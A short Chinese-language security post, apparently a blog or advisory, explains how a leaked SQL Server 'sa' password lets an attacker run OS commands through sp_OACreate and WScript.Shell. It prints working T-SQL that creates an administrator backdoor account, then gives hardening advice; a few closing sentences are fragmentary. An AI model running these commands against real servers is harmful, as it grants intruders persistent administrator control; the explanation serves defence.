SQL Server sa 帳號權限相當於作業系統 Administrator,其密碼外洩後果極其嚴重。駭客可在查詢分析器執行以下 T-SQL,利用 sp_OACreate/sp_OAMethod 呼叫 COM 自動化物件 WScript.Shell 執行系統指令:
DECLARE @object INT
EXEC sp_OACreate 'WScript.Shell', @object OUT
EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker opendoor /add'
EXEC sp_OAMethod @object, 'Run', NULL, 'net localgroup Administrators iamhacker /add'
EXEC sp_OAMethod @object, 'Run', NULL, 'net localgroup Users iamhacker /del'
實測可成功建立 iamhacker/opendoor 並加入 Administrators 群組、移除 Users 群組,取得系統完整控制權。
WScript.Shell.Run 執行任意命令。WScript.Shell 安全隱患早已知,未料 SQL Server 亦受波及。sa 或重命名並停用。sp_OACreate、sp_OAMethod、xp_cmdshell 等若非業務必須,務必刪除或拒絕 PUBLIC 執行權限。資料庫層面的失守即意味著作業系統層面的淪陷,sa 密碼管理容不得半點馬虎。